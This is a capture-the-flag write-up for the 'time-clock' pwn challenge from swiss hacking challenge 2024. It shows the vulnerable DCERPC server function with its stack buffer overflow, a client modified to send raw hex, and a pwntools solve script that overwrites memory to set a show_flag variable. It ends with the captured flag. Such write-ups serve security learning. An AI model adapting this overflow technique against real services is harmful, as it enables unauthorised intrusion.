swiss hacking challenge 2024 - time-clock

Posted on May 1, 2024

Difficulty: easy

Category: pwn

Author: NoRelect

Susan and Steve, two diligent employees, rely on a time-clock system implemented over DCERPC for their daily attendance tracking. Each morning, they log in to the system remotely from their respective workstations. Through DCERPC, their clock-in and clock-out actions are reliably transmitted to the central server, ensuring accurate timekeeping across the organization. Susan and Steve appreciate the convenience of this system, allowing them to record their work hours efficiently without the need for manual timecards.

Files

We’re getting an instance and both compiled and soure code:

time-clock
├── binaries
│   ├── time-clock-client
│   └── time-clock-server
└── code
    ├── Dockerfile
    ├── entrypoint.sh
    └── src
        ├── client.c
        ├── Makefile
        ├── server.c
        └── time-clock.idl

Exploitation

There is a client and server binary communicating via DCERPC. However, this isn’t really relevant for the solution.

The issue lies in the following code:

idl_boolean GetWorkReport(rpc_binding_handle_t h, idl_short_int s, idl_byte* report_name, idl_char** report) {
    struct HashTableEntry* entry;
    char entry_buf[128];
    char report_buf[1024];
    memset(report_buf, 0, 1024);
    char* buf_ptr = report_buf;
    // Create the work report
    for(int i = 0; i < HASHSIZE; i++) {
        for (entry = hashtable[i]; entry != NULL; entry = entry->next) {
            int l = sprintf(entry_buf, "%d minutes worked by employee %s\n", entry->minutes, entry->key);
            memcpy(buf_ptr, entry_buf, l);
            buf_ptr += l;
        }
    }
    // Give the report a name
    memcpy(buf_ptr, report_name, s);
    buf_ptr += s;
    *buf_ptr = '\n';
    *report = report_buf;
    return true;
}

The \n in the end is written to an arbitrary location as the report name can be longer than the struct that it will be written to. We can overwrite the address of the show_flag variable that is defined in the start of the server binary:

00406440  uint32_t show_flag = 0x0

I first modified the client to accept hex and a custom length instead of just plain text:

void hex_to_bin(const char* hex, unsigned char** bin, size_t* len) {
    size_t hex_len = strlen(hex);
    *len = hex_len / 2;
    *bin = malloc(*len);

    for (size_t i = 0; i < *len; i++) {
        sscanf(hex + 2*i, "%2hhx", *bin + i);
    }
}
// ...
else if (strcmp(argv[1], "report") == 0) {
    idl_char* report;
    char* report_name = argv[2];
    unsigned char* report_name_bin;
    size_t report_name_len;
    hex_to_bin(report_name, &report_name_bin, &report_name_len);
    GetWorkReport(time_server, report_name_len, report_name_bin, &report);
    printf("Work report: \n%s\n", report);
} else if (strcmp(argv[1], "flag") == 0) {

The binary has very weird alignment (which is probably why it had around the same amount of solves as some medium/hard challenges), so I eventually came up with this scuffed solve script:

#!/usr/bin/python3
from pwn import *

def report(name):
    r = process(['./time-clock-client', 'report', name.hex()])
    return r.recvall()

def log(name, minutes):
    r = process(['./time-clock-client', 'log', name, str(minutes)])
    return r.recvall()

def flag():
    r = process(['./time-clock-client', 'flag'])
    return r.recvall()


log('e', 1)

info(report(
    b'0'*1137 +
    b'\xe5\x5f'+ # 0x40[6460] - 0x47b, weird offset to a pointer to the show_flag var
    p64(0x40)
    ))

success(flag())

Flag

shc2024{tick_tock_why_is_it_not_5pm_yet}

Conclusion

This was pure pain lol.